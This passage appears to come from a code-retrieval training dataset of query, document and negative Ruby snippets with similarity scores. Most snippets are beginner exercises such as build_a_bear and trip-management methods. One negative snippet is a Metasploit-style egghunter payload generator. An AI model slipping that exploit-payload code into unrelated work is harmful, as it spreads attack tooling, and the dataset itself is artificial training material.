puts "you are fired, and have to go home."
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_eggs(number, type)\n puts \"You want #{number} eggs, #{type}.\"\n end",
"def age!\r\n @hen_age += 1\r\n 4.times do\r\n if @hen_age > 3\r\n @eggs << Egg.new\r\n @number_of_eggs += 1\r\n end\r\n end\r\n end",
"def poach_eggs (egg_stuff)\n (egg_stuff[:number_of_eggs] * egg_stuff[:minutes_to_poach])\nend",
"def initialize\n peg = Peg.new\n @pegs = Array.new(6) { |i| peg.color(i) }\n @breaker = Breaker.new\n @maker = Maker.new\n end",
"def soft_cheese(type, age=8)\n \"#{type}, aged #{age} months\"\nend",
"def build_a_bear(name, age, fur, clothes, special_power) #initializes a method that takes 5 inputs.\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\" # Creates a variable named greeting, a string. Uses interpolation to put one of inputs into string.\n demographics = [name, age] # creates an array variable\n power_saying = \"Did you know that I can #{special_power}?\" #creates a string variable, with string interpolation\n built_bear = {\n 'basic_info' => demographics,\n 'clothes' => clothes,\n 'exterior' => fur,\n 'cost' => 49.99,\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n 'is_cuddly' => true,\n } # creates a hash of a built bear.\n return built_bear # 'saves' the information to the method\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n#behavior to interpolate the name variable into the greeting action\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n#creating an array for the demographics variable that includes the name and age arguments\n demographics = [name, age]\n#behavioir to interpolate the special power into the power saying variable\n power_saying = \"Did you know that I can #{special_power}?\"\n#creating a hash out for info about a built bear.\n built_bear = {\n 'basic_info' => demographics,\n 'clothes' => clothes,\n 'exterior' => fur,\n 'cost' => 49.99,\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n 'is_cuddly' => true,\n }\n#presenting this information once created\n return built_bear\nend",
"def cheese_and_crackers(cheese_count, boxes_of_crackers)\n#Here, we are building the code into our method using strings/string interpolation\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\n#every 'def' has to have a corresponding 'end'\nend",
"def grill_cheese(bread, cheese, cheese_num, melt)\n # If cheese_num is greater than 3 cheese slices you want it extra cheesy.\n if cheese_num > 3\n # Patty melt instead of grilled cheese sando.\n if melt == true\n puts \"We got one extra cheesy #{cheese} patty melt on #{bread}, coming right up!\"\n else\n puts \"We got one extra cheesy #{cheese} grilled cheese on #{bread}, coming right up!\"\n end\n # For less cheesey sandwich\n else\n # Patty melt instead of grilled cheese sando.\n if melt == true\n puts \"We got one cheesy #{cheese} patty melt on #{bread}, coming right up!\"\n else\n puts \"We got one cheesy #{cheese} grilled cheese on #{bread}, coming right up!\"\n end\n end\nend",
"def generate_ebay_items_with_size(num, size=\"LP\", price=10.00)\n ebay_items = []\n num.times { ebay_items << Factory.create(:ebay_item, :size => size, :price => price) }\n ebay_items\n end",
"def build_a_bear(name, age, fur, clothes, special_power)\n #defines a variable, greeting, as a string with the parameter name interpolated\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n #defines a variable, demographics, as an array whose elements are the parameters name and age\n demographics = [name, age]\n #defines a variable, power_saying, as a string with an awkward interpolation of the parameter special_power\n power_saying = \"Did you know that I can \" + special_power + \" ?\"\n #defines a variable, built_bear, as a hash with six key/data pairs\n built_bear = {\n basic_info: demographics,\n clothes: clothes,\n exterior: fur,\n cost: 49.99,\n sayings: [greeting, power_saying, \"Goodnight my friend!\"],\n is_cuddly: true,\n }\n #sets the output to built_bear\n return built_bear\n#ends the method build_a_bear\nend",
"def meal_generator(food)\n food\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n #Sets a greeting variable equal to a string interpolating 1 argument\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n #Sets a demographics variable equal to an array taking in 2 arguments\n demographics = [name, age]\n #Sets a power_saying variable equal to a string interpolating 1 argument\n power_saying = \"Did you know that I can #{special_power}?\"\n #Makes a hash with 6 key/value pairs, starts with curly bracket\n built_bear = {\n #Sets a key 'basic_info' paired to value with variable demographics\n 'basic_info' => demographics,\n #Sets a key 'clothes' paired to value with argument clothes\n 'clothes' => clothes,\n #Sets a key 'exterior' paired to value with argument fur\n 'exterior' => fur,\n #Sets a key 'cost' paired to value with float 49.99\n 'cost' => 49.99,\n #Sets a key 'sayings' paired to value with mixed array\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n #Sets a key 'is cuddly' to value with true boolean\n 'is_cuddly' => true,\n #Ends hash with curly bracket\n }\n #Returns all the info put into the hash made\n return built_bear\n #Ends the function\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n # sets a variable to string interpolated with the name provided in first argument above\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n # sets a variable to an array containing the first and second arguments above\n demographics = [name, age]\n # sets a variable to a string interpolated with 5th argument\n power_saying = \"Did you know that I can #{special_power}?\"\n # sets variable to a hash containing attributes of the bear being built\n built_bear = {\n # sets hash key to refer to demographics variable created above\n 'basic_info' => demographics,\n # sets hash key to refer to the clothes argument\n 'clothes' => clothes,\n # sets hash key to refer to fur argument\n 'exterior' => fur,\n # sets hash key to refer to cost of bear (in float data type)\n 'cost' => 49.99,\n # sets hash key to refer to an array of strings, including two string variables created above\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n # sets hash key to refer to a boolean value\n 'is_cuddly' => true,\n }\n #outputs the hash object created above\n return built_bear\nend",
"def make_coffee(beans, water, electricity, milk)\n #do somehting with the ingredients\n #return finished product\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n# Interpulate the parameter name into a string for the variable greeting.\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n# Assign an array of name and age for the demographics variable.\n demographics = [name, age]\n# Interpulate the parameter of special_power into a string of the variable power_saying.\n power_saying = \"Did you know that I can #{special_power}?\"\n# Sart to model a built_bear with a hash.\n built_bear = {\n# Assign basic_info to the variable demographics.\n 'basic_info' => demographics,\n# Assign clothes to the parameter clothes.\n 'clothes' => clothes,\n# Assign exterior to the parameter fur.\n 'exterior' => fur,\n# Assign cost to a floating point integer.\n 'cost' => 49.99,\n# Assign sayings to an array of greeting, power_saying, and the string \"Goodnight my friend!\"\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n# Assign is_cuddly to a boolean value of true.\n 'is_cuddly' => true,\n# End model\n }\n# Return a built_bear. \n return built_bear\n# End block of code. \nend",
"def build_bag\n [:red] * 3 + [:blue] * 4\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n # declare a variable called greeting with a value that's a string with the name parameter interpolated in\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n # declare a variable called demographics; value is an array with 2 elements: the name and age parameters\n demographics = [name, age]\n # declare a variable called power_saying; value is a string with special_power parameter interpolated in\n power_saying = \"Did you know that I can #{special_power}?\"\n # declare a variable called built_bear; value is a hash with keys: basic_info, clothes, exterior, cost, sayings, is_cuddly\n built_bear = {\n 'basic_info' => demographics,\n 'clothes' => clothes,\n 'exterior' => fur,\n 'cost' => 49.99,\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n 'is_cuddly' => true,\n }\n # when method is called, it will return the built_bear hash\n return built_bear\n# close the method\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n #greeting should be a string that has the name argument\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n #demographics should an array that has elements: name and age\n demographics = [name, age]\n #power_saying should be a string that includes the special_power argument\n power_saying = \"Did you know that I can #{special_power}?\"\n #built_bearshould be a hash with elements: basic_info, clothes, exterior, cost, sayings, is_cuddly\n built_bear = {\n 'basic_info' => demographics,\n 'clothes' => clothes,\n 'exterior' => fur,\n 'cost' => 49.99,\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n 'is_cuddly' => true,\n }\n #return build_bear\n return built_bear\n #end\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n # greeting variable set to a string with the name interpolated\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n # demographics variable set as an array with name and age\n demographics = [name, age]\n # power_saying variable set to a string with special_power interpolated\n power_saying = \"Did you know that I can #{special_power}?\"\n # built_bear set as a hash to collect data on six variables\n built_bear = {\n # 'basic_info' key set to demographics array with name and age\n 'basic_info' => demographics,\n # 'clothes' key set to clothes attribute\n 'clothes' => clothes,\n # 'exterior' set to fur attribute\n 'exterior' => fur,\n # 'cost' set to static float number 49.99\n 'cost' => 49.99,\n # 'sayings' set to array that includes the greeting and power_saying variables and a string\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n # 'is_cuddly' set to boolean true\n 'is_cuddly' => true,\n }\n # returns or runs built_bear\n return built_bear\nend",
"def build_inventory\n add_to_inventory(\"cats\", 4, 50.0)\n add_to_inventory(\"dogs\", 10, 150.0)\n add_to_inventory(\"unicorn\", 1, 1000.0)\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n#assigns variable greeting to a string which uses interpolation with the name argument.\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n#assigns variable demographics to an array made of the name and age arguments\n demographics = [name, age]\n#assings variable power_saying to a string which uses interpolation of the special_power argument\n power_saying = \"Did you know that I can #{special_power}?\"\n#creates a hash named built_bear\n built_bear = {\n#Key named basic_info assigned to value demographics from arguments\n 'basic_info' => demographics,\n#Key named clothes assigned to value clothes from arguments\n 'clothes' => clothes,\n#Key named exterior assigned to value exterior from arguments\n 'exterior' => fur,\n#Key named cost assigned to float value of 49.99\n 'cost' => 49.99,\n#Key named sayings assigned to array with greeting, power_saying arguments and string 'Goodnight my friend!'\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n#Key named is_cuddly assigned to boolean value of true\n 'is_cuddly' => true,\n }\n#returns variable built_bear with the completed information from the hash using interpolation.\n return built_bear\n#ends the method\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n #define method variables (name is interpolated)\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n #define array\n demographics = [name, age]\n #interp\n power_saying = \"Did you know that I can #{special_power}?\"\n #hash, redefines a few variables in keys/values such as exterior, cost\n built_bear = {\n 'basic_info' => demographics,\n 'clothes' => clothes,\n 'exterior' => fur,\n 'cost' => 49.99,\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n 'is_cuddly' => true,\n }\n#execute\n return built_bear\nend",
"def generate(badchars = '')\n\t\treturn nil if ((opts = hunter_stub) == nil)\n\n\t\tstub = opts['Stub'].dup\n\t\tesize = opts['EggSize']\n\t\teoff = opts['EggOffset']\n\t\tegg = Rex::Text.rand_text(esize, badchars)\n\n\t\tstub[eoff, esize] = egg\n\n\t\treturn [ stub, egg ]\n\tend",
"def build_a_bear(name, age, fur, clothes, special_power)\n # declare a variable of greeting - value is a string with the name parameter interpolated in\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n # declare a variable of demographics - value is and arry with two element(name & age) both are parameters\n demographics = [name, age]\n # declare a variable of power_saying - value is a string with the special_power parameter interploated ine\n power_saying = \"Did you know that I can #{special_power}?\"\n # declare a variable of built_bear - value is a hash with 6 keys and values in it\n built_bear = {\n # declare a key basic_info with the value the variable demographics\n 'basic_info' => demographics,\n # declare a key clothes with the value the parameter clothes\n 'clothes' => clothes,\n # declare a key exterior with the value the parameter fur\n 'exterior' => fur,\n # declare a key cost with the value an integer\n 'cost' => 49.99,\n # declare a key sayings with the value an array of the variable greeting, the parameter power_saying, and a string\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n # declare a key is_cuddly with a boolean value\n 'is_cuddly' => true,\n }\n # when function is called it will return the built_bear hash\n return built_bear\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n# Set greeting variable equal to string with name argument interpolated\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n# Set demographic variable to an array of name and age arguments\n demographics = [name, age]\n# Set power_saying variable to a string with special_power argument interpolated\n power_saying = \"Did you know that I can #{special_power}?\"\n#Set built_bear variable to a hash\n built_bear = {\n# Create key basic_info connected to demographics array\n 'basic_info' => demographics,\n # Create key clothes connected to clothes argument\n 'clothes' => clothes,\n # Create key exterior connected to fur argument\n 'exterior' => fur,\n # Create key cost connected to integer 49.99\n 'cost' => 49.99,\n # Create key sayings connected to array with string values: greeting variable, power_saying variable, and other string\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n # Create key is-cuddly connected to boolean true.\n 'is_cuddly' => true,\n }\n # Return all the info in the built_bear hash.\n return built_bear\n# Close out the method\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n #define variable greeting\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n #define variable demographics with 2 arguments\n demographics = [name, age]\n #define variable power_saying as a string with interpolation\n power_saying = \"Did you know that I can #{special_power}?\"\n #define built_bear as a hash and set variables inside\n built_bear = {\n #set basic_info to string\n 'basic_info' => demographics,\n #set clothes to string\n 'clothes' => clothes,\n #set exterior to a string\n 'exterior' => fur,\n #set cost to a float\n 'cost' => 49.99,\n #set sayings as an array\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n #set is_cuddly to a boolean\n 'is_cuddly' => true,\n #close hash\n }\n #return the built_bear hash\n return built_bear\n #close the build_a_bear method\nend",
"def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # returns a statement that interpolates a string and argument\n # called to cheese_count parameter\n puts \"You have #{cheese_count} cheeses!\"\n # returns a statement that interpolates a string and argument\n # called to the boxes_of_crackers parameter\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n # returns a basic string\n puts \"Man that's enough for a party!\"\n # returns a basic string\n puts \"Get a blanket.\\n\"\n# end statement indicates the end of the method\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n # Create variable greeting \n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n # Create variable demographics\n demographics = [name, age]\n # Create power_saying variable\n power_saying = \"Did you know that I can #{special_power}?\"\n # Create variable build_bear with values \n built_bear = {\n # give value to basic_info\n 'basic_info' => demographics,\n # Give value to clothes \n 'clothes' => clothes,\n # Give value to exterior\n 'exterior' => fur,\n # Give value to cost\n 'cost' => 49.99,\n # give value to sayings\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n # Give value to is_cuddly\n 'is_cuddly' => true,\n }\n # return variable\n return built_bear\n # end of function\nend",
"def build_a_bear(name, age, fur, clothes, special_power)\n #defines new method called 'build a bear' with several parameters\n greeting = \"Hey partner! My name is #{name} - will you be my friend?!\"\n #defines string with name variable\n demographics = [name, age]\n #defines demographics with array\n power_saying = \"Did you know that I can #{special_power}?\"\n #defines string with special_power variable\n\n built_bear = {\n #this creates a hash which stores info about built_bear.\n 'basic_info' => demographics,\n #this assigns 'basic info' to 'demographics'\n 'clothes' => clothes,\n #assigns clothes to value 'clothes'\n 'exterior' => fur,\n #assigns 'exterior' to value 'fur'\n 'cost' => 49.99,\n #assings 'cost' to float'49.99'\n 'sayings' => [greeting, power_saying, \"Goodnight my friend!\"],\n #assigns 'saying' to array that calls methods 'greeting' and 'power_saying', as well as string 'Goodnight my friend!'\n 'is_cuddly' => true,\n } #assigns value 'is cuddly' to boolean.\n return built_bear\n #\nend"
] | [
"0.76865786",
"0.5870603",
"0.5749085",
"0.57410884",
"0.5736469",
"0.57154745",
"0.56976986",
"0.56659997",
"0.5639706",
"0.5607569",
"0.55859685",
"0.5563086",
"0.55582863",
"0.5537529",
"0.5519103",
"0.5513796",
"0.5513483",
"0.55097526",
"0.5509558",
"0.5500617",
"0.5497939",
"0.5492039",
"0.54887736",
"0.54725724",
"0.5465287",
"0.54630494",
"0.5460111",
"0.54568",
"0.5452683",
"0.5444835"
] | 0.71735626 | 1 |
Returns the driver with the provided id. | def find_driver(id)
return find_by_id(@drivers, id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def driver(driver_id)\n from_resource(\n :driver,\n connection.get(api_uri(\"drivers/#{driver_id}\"))\n )\n end",
"def trip_get_driver(driver_id)\n RideShare::Driver.find(driver_id)\n end",
"def find_by(id:)\n storage_adapters.values.find do |storage_adapter|\n storage_adapter.handles?(id: id)\n end.find_by(id: id)\n end",
"def find_driver\n RideShare::Driver.find(@driver_id)\n # returns Driver instance associated with this Trip instance\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find_by_id(id)\n find_by_attributes(:id => id).first\n end",
"def driver_info\n return Rideshare::Driver.find(@driver_id)\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def getDriver\n @driver\n end",
"def getDriver\n @driver\n end",
"def find_by_id(id)\n find(id)\n end",
"def find_by_id(id)\n configs.each do |config|\n if config.config_name.eql?(id)\n return config.new\n end\n end\n nil\n end",
"def find_by_id(id)\n nil_or_object(FFI::Libvirt.virDomainLookupByID(interface, id), Domain)\n end",
"def find_by_id(id)\n find_by(:id, id)\n end",
"def find_by_id(id)\n domain_record = finder(:select => [:id, :name], :conditions => {:id => id})\n return nil unless domain_record\n\n new(domain_record)\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def driver\n storage_hash = get_api_node(['storage-pools', resource[:name]])\n driver = storage_hash['driver']\n return driver\n end",
"def find(id)\n klass.find(id)\n end",
"def find(id)\n where({'id' => \"#{id}\"}).first\n end",
"def repository(id)\n self.repositories.select {|r| r.id == id}.first\n end",
"def find_by(id:)\n return unless handles?(id: id)\n Valkyrie::StorageAdapter::File.new(id: Valkyrie::ID.new(id.to_s), io: ::File.open(file_path(id), 'rb'))\n end",
"def driver\n @driver ||= self.class.default_driver\n end",
"def driver_name\n return @driver_name.dup if @driver_name\n return nil\n end",
"def find_by_id(id)\n get_product_by_id(id)\n end"
] | [
"0.7822675",
"0.72007877",
"0.65544397",
"0.64229333",
"0.6237874",
"0.61804754",
"0.61804754",
"0.61730224",
"0.61297166",
"0.61247236",
"0.61247236",
"0.61247236",
"0.61247236",
"0.6101296",
"0.6101296",
"0.608054",
"0.60430163",
"0.6004728",
"0.60021347",
"0.599235",
"0.5978405",
"0.5978405",
"0.59445095",
"0.5933107",
"0.5909789",
"0.59054166",
"0.58823174",
"0.58673745",
"0.5842042",
"0.58375496"
] | 0.8555056 | 0 |
Returns the passenger with the provided id. | def find_passenger(id)
return find_by_id(@passengers, id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_room(id)\n @rooms[id]\n end",
"def find_by_id(id)\n find_by_attributes(:id => id).first\n end",
"def get(\n id,\n deadline: nil\n )\n return @peering_group_peers.get(\n id,\n deadline: deadline,\n )\n end",
"def retrieve(id)\n agent = Client.get(\"#{path}/#{id}\").with_indifferent_access\n new(\n agent[:id],\n agent[:name]\n )\n end",
"def find_by_id(id)\n court_slots[id]\n end",
"def get_room(id)\n return @rooms[id] if @rooms.key? id\n room = Room.new id, @users, @matrix\n @rooms[id] = room\n broadcast(:added, room)\n room\n end",
"def find_by_id(id)\n find(id)\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def get(\n id,\n deadline: nil\n )\n return @peering_groups.get(\n id,\n deadline: deadline,\n )\n end",
"def set_passenger\r\n @passenger = Passenger.find(params[:id])\r\n end",
"def set_passenger\n @passenger = Passenger.find(params[:id])\n end",
"def set_passenger\n @passenger = Passenger.find(params[:id])\n end",
"def set_passenger\n @passenger = Passenger.find(params[:id])\n end",
"def get_user(id)\n @users[id]\n end",
"def get_person(id)\n self.class.get(url(\"people/#{id}\"), headers: @token.headers).parsed_response\n end",
"def retrieve(id)\n sender = Client.get(\"#{path}/#{id}\")\n initialize_from_hash(sender['user'])\n end",
"def find_member_by_id(id)\n @board.members.find { |m| m.id == id }\n end",
"def find(id)\n where({'id' => \"#{id}\"}).first\n end",
"def find_by_id(id)\n id = id.to_i\n\n @id_hash[id]\n end",
"def summoner_by_id(id)\n\t\t\tsummoner = Demacia::Summoner.new(@entry_point+\"summoner/\"+id+@api_suffix, @region)\n\t\tend",
"def get_user_byid(id)\n # accept an id input parameter\n # use the User Model class to get the User associated with the `id` primary key\n # return the User instance that matches the provided id\n @user = User.find_by(:id => id)\n @user\n end",
"def find(id)\n self.detect{|x| x.id == id.to_i}\n end",
"def get_enemy(id)\n # get enemies\n enemies = get_enemies(id)\n # return result\n return enemies[0].battler\n end",
"def find_user_by_id(id = 'my', params = {})\n object_from_response(Code42::User, :get, \"user/#{id}\", params)\n end",
"def get(\n id,\n deadline: nil\n )\n return @peering_group_resources.get(\n id,\n deadline: deadline,\n )\n end",
"def set_passenger\n @passenger = Passenger.accessible_by(current_ability).find(params[:id])\n end",
"def get_by_id(id)\n raise(ArgumentError, \"Argument 'id' must be a Fixnum\") unless id.is_a?(Fixnum)\n @data.find{ |entry| entry[:id] == id }\n end",
"def get(\n id,\n deadline: nil\n )\n return @account_grants.get(\n id,\n deadline: deadline,\n )\n end",
"def find_by_id(id)\n find_by(:id, id)\n end",
"def ladder(id)\r\n BnetApi.make_request(\"/sc2/ladder/#{id}\")\r\n end"
] | [
"0.62623864",
"0.61780727",
"0.61256754",
"0.61051077",
"0.6099317",
"0.6095565",
"0.60604674",
"0.5997563",
"0.5993956",
"0.5970245",
"0.5950502",
"0.5950502",
"0.5950502",
"0.594577",
"0.59355175",
"0.5920971",
"0.5868865",
"0.58497304",
"0.58494514",
"0.5843002",
"0.5835783",
"0.5834451",
"0.578827",
"0.5782151",
"0.57550555",
"0.57549053",
"0.57546645",
"0.5726985",
"0.5720529",
"0.5715355"
] | 0.8840033 | 0 |
new_trip_data must be he information needed to create a valid trip. | def make_new_trip(new_trip_data)
trip = Trip.new(new_trip_data)
trip.driver.add_trip(trip)
trip.passenger.add_trip(trip)
return trip
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n\t\t@new_trip = Trip.new\n\tend",
"def create\n @trip = Trip.new(trip_params)\n @trip.user_id = current_user.id\n\n if @trip.roundtrip\n @trip2 = Trip.new()\n @trip2.start_date = @trip.end_date\n @trip2.start_time = @trip2.end_time\n\n @trip2.origin = @trip.destiny\n @trip2.destiny = @trip2.origin\n\n @trip2.passcities = @trip.passcities\n\n @trip2.save\n else\n end\n \n respond_to do |format|\n if @trip.save\n #format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.html { redirect_to :controller=>\"costs\", :action=> \"new\", :trip_id=>@trip.id}\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_trip(trip_proxy)\n\n trip = Trip.new()\n trip.creator = current_or_guest_user\n trip.user = @traveler\n trip.trip_purpose = TripPurpose.find(trip_proxy.trip_purpose_id)\n\n # get the start for this trip\n from_place = TripPlace.new()\n from_place.sequence = 0\n place = get_preselected_place(trip_proxy.from_place_selected_type, trip_proxy.from_place_selected.to_i, true)\n if place[:poi_id]\n from_place.poi = Poi.find(place[:poi_id])\n elsif place[:place_id]\n from_place.place = @traveler.places.find(place[:place_id])\n else\n from_place.raw_address = place[:address]\n from_place.lat = place[:lat]\n from_place.lon = place[:lon] \n end\n\n # get the end for this trip\n to_place = TripPlace.new()\n to_place.sequence = 1\n place = get_preselected_place(trip_proxy.to_place_selected_type, trip_proxy.to_place_selected.to_i, false)\n if place[:poi_id]\n to_place.poi = Poi.find(place[:poi_id])\n elsif place[:place_id]\n to_place.place = @traveler.places.find(place[:place_id])\n else\n to_place.raw_address = place[:address]\n to_place.lat = place[:lat]\n to_place.lon = place[:lon] \n end\n\n # add the places to the trip\n trip.trip_places << from_place\n trip.trip_places << to_place\n\n planned_trip = PlannedTrip.new\n planned_trip.trip = trip\n planned_trip.creator = trip.creator\n planned_trip.is_depart = trip_proxy.arrive_depart == 'departing at' ? true : false\n planned_trip.trip_datetime = trip_proxy.trip_datetime\n planned_trip.trip_status = TripStatus.find_by_name(TripStatus::STATUS_NEW) \n \n trip.planned_trips << planned_trip\n\n return trip\n end",
"def create\n\t\t#puts params\n\t\t@new_trip = Trip.new(new_trip_params)\n\t\t# ensure that at least one activity is filled\n\t\tif @new_trip.morning.blank? && \n\t\t\t@new_trip.breakfast.blank? &&\n\t\t\t@new_trip.noon.blank? &&\n\t\t\t@new_trip.lunch.blank? &&\n\t\t\t@new_trip.afternoon.blank? &&\n\t\t\t@new_trip.dinner.blank? &&\n\t\t\t@new_trip.evening.blank? &&\n\t\t\t@new_trip.night.blank?\n\n\t\t\tflash[:error] = 'Your trip must have at least one activity'\n\t\t\tredirect_to new_trip_path\n\t\telse\n\t\t\t# continue with rest of saving\n\t\t\tif !@new_trip.morning.blank?\n\t\t\t\t@start_location = @new_trip.morning\n\t\t\telsif !@new_trip.breakfast.blank?\n\t\t\t\t@start_location = @new_trip.breakfast\n\t\t\telsif !@new_trip.noon.blank?\n\t\t\t\t@start_location = @new_trip.noon\n\t\t\telsif !@new_trip.lunch.blank?\n\t\t\t\t@start_location = @new_trip.lunch\n\t\t\telsif !@new_trip.afternoon.blank?\n\t\t\t\t@start_location = @new_trip.afternoon\n\t\t\telsif !@new_trip.dinner.blank?\n\t\t\t\t@start_location = @new_trip.dinner\n\t\t\telsif !@new_trip.evening.blank?\t\n\t\t\t\t@start_location = @new_trip.evening\n\t\t\telsif !@new_trip.night.blank?\t\n\t\t\t\t@start_location = @new_trip.night\n\t\t\tend\n\n\t\t\t@new_trip.start_location = @start_location\n\t\t\t@new_trip.user = current_user\n\t\t\tif @new_trip.save\n\t\t\t\tredirect_to root_path\n\t\t\telse\n\t\t\t\tflash[:error] = @new_trip.errors.full_messages.to_sentence\n\t\t\t\tredirect_to new_trip_path\n\t\t\tend\n\t\tend\n\tend",
"def create_trip\n # Only attempt to create trip if all the necessary pieces are there\n return false unless @itinerary && @trip && @service && @user\n \n label = request_label(:book, trip_id)\n \n @http_request_bundler.add(\n label, \n @url + \"/create_trip\", \n :post,\n head: headers,\n body: body_for_booking(@booking_options).to_json\n ).response!(label)\n end",
"def create\n @trip = current_user.trips.new(params[:trip].except(:places))\n params[:trip][:places] ||= []\n @trip.add_trip_places(params[:trip][:places])\n if @trip.save\n flash[:notice] = \"Trip succesfully created\"\n redirect_to @trip\n else\n flash.now[:error] = @trip.errors.full_messages\n @places = params[:trip][:places]\n render \"new\"\n end\n end",
"def create\n # We have to convert the two posted values for each time into a single string\n # If we don't Trip.new can't populate the Trips values based on the post hash\n @trip = Trip.new(parse_post params[:trip])\n\n respond_to do |format|\n if @trip.save\n flash[:notice] = 'Trip was successfully created.'\n format.html { redirect_to(@trip) }\n format.xml { render :xml => @trip, :status => :created, :location => @trip }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # We have to convert the two posted values for each time into a single string\n # If we don't Trip.new can't populate the Trips values based on the post hash\n @trip = Trip.new(parse_post params[:trip])\n\n respond_to do |format|\n if @trip.save\n flash[:notice] = 'Trip was successfully created.'\n format.html { redirect_to(@trip) }\n format.xml { render :xml => @trip, :status => :created, :location => @trip }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\r\n # @trip = Trip.new(trip_params)\r\n @trip = current_user.trips.build(trip_params)\r\n if @trip.save\r\n redirect_to trips_path, notice: 'Trip was successfully created.'\r\n else\r\n redirect_to new_trip_path, notice: 'Cannot leave information blank.'\r\n end\r\n end",
"def create\n @trip = Trip.new(params[:trip])\n\n if @trip.save\n Notifier.confirmation(@trip).deliver\n redirect_to trip_details_path(:marketable_url => @trip.marketable_url), notice: \"Trip was successfully created.\"\n else\n render action: \"new\"\n end\n end",
"def create\n @flag=Trips.create_trip(params[:requireddestination],\n params[:requiredlocation],params[:requiredweight],params[:requiredtraveldate],cookies[:user_id])\n if @flag==true\n flash[:notice] = \"Trip Created\"\n redirect_to(:action => 'list')\n else\n render('new')\n end\n end",
"def create\n @trip = current_user.trips.build(params[:trip])\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render json: @trip, status: :created, location: @trip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n @trip.user = current_user\n # If :trip :country is blank then a country was selected from the countries already present. Otherwise it is a new country being added to the database\n if params[:trip][:country] != \"\"\n @trip.country = Country.find_by(name: params[:trip][:country])\n saving_trip\n else\n saving_trip\n end\n end",
"def create\n @origin = Origin.new(\n :latitude => trip_params[:origin][:latitude],\n :longitude => trip_params[:origin][:longitude]\n )\n @origin.save\n @destination = Destination.new(:address => trip_params[:destination][:address].concat(\" New York City\"))\n @destination.save\n @trip = Trip.new(:origin_id => @origin.id, :destination_id => @destination.id)\n @trip.save \n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
